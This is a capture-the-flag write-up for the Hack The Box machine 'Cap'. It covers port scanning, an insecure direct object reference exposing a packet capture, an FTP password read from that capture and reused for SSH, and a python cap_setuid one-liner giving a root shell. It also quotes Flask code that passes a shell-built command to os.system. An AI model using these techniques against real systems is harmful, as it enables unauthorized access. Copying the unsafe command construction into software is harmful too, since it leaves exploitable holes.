Cap Writeup
10 September 2022 #CTF #HTB #box #easy #linux
Enumeration
Nothing better than an nmap scan to get going:
$ sudo nmap -F -sC -sV -oN enum/cap.nmap 10.10.10.245
[...]
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Thu, 25 Aug 2022 10:47:49 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
[...]
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Thu, 25 Aug 2022 10:47:44 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
[...]
|_http-title: Security Dashboard
|_http-server-header: gunicorn
[...]
HTTP
There is a basic network monitoring app

By clicking 'Security Snapshot' on the left menu, the web app hangs for a few seconds then displays some information:

While the page hangs, it seems it is actually capturing network traffic. (We didn't do anything during the capture, that's why no packets were captured)
The URL of this page is /data/1. What if we can access other pages by modifying the number? Let's say /data/0:

Looks like we can! Let's click the 'Download' button and get the pcap file.
Foothold
pcap files contain packet data that is captured with tools like tcpdump or wireshark, and can be read with such tools:
$ tcpdump -tqnAr 0.pcap
[...]
s...USER nathan
[...]
J...PASS Buck3tH4TF0RM3!
-t: do not print timestamps-q: do not print some protocol information (TCP SYN, ACK, etc)-n: no DNS resolution-A: print packet in ASCII (useful for analyzing HTTP and FTP)-r <file>: read form pcap file
The password for the 'nathan' user was captured when loggin in to FTP.
$ ftp [email protected]
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
drwxr-xr-x 3 1001 1001 4096 May 27 2021 .
drwxr-xr-x 3 0 0 4096 May 23 2021 ..
lrwxrwxrwx 1 0 0 9 May 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Feb 25 2020 .bashrc
drwx------ 2 1001 1001 4096 May 23 2021 .cache
-rw-r--r-- 1 1001 1001 807 Feb 25 2020 .profile
lrwxrwxrwx 1 0 0 9 May 27 2021 .viminfo -> /dev/null
-r-------- 1 1001 1001 33 Aug 28 11:44 user.txt
Except for the user.txt there are no interesting files... But we know there is SSH as well, and password reuse is very common, so let's give it a try:
$ ssh [email protected]
[...]
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$
And we are in!
Privesc
First, let's check the web app to see if we find something interesting.
In /var/www/html there is the web app, written in python:
nathan@cap:~$ ls /var/www/html
__pycache__ app.py static templates upload
It uses Flask and this capture method looks fishy:
@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))
It is calling os.system to execute tcpdump as root with os.setuid(0).
We can check if there is a setuid capability on the python binary with the getcap command:
nathan@cap:~$ getcap -r /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
(It won't work with /usr/bin/python3 because it is a symlink to /usr/bin/pyton3.8)
Indeed, there is. That means we can become root pretty easily:
nathan@cap:~$ python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
Boom.
Key Takeaways
getcapto check capabilities on executables (findwouldn't work here)- cap_setuid != setuid bit set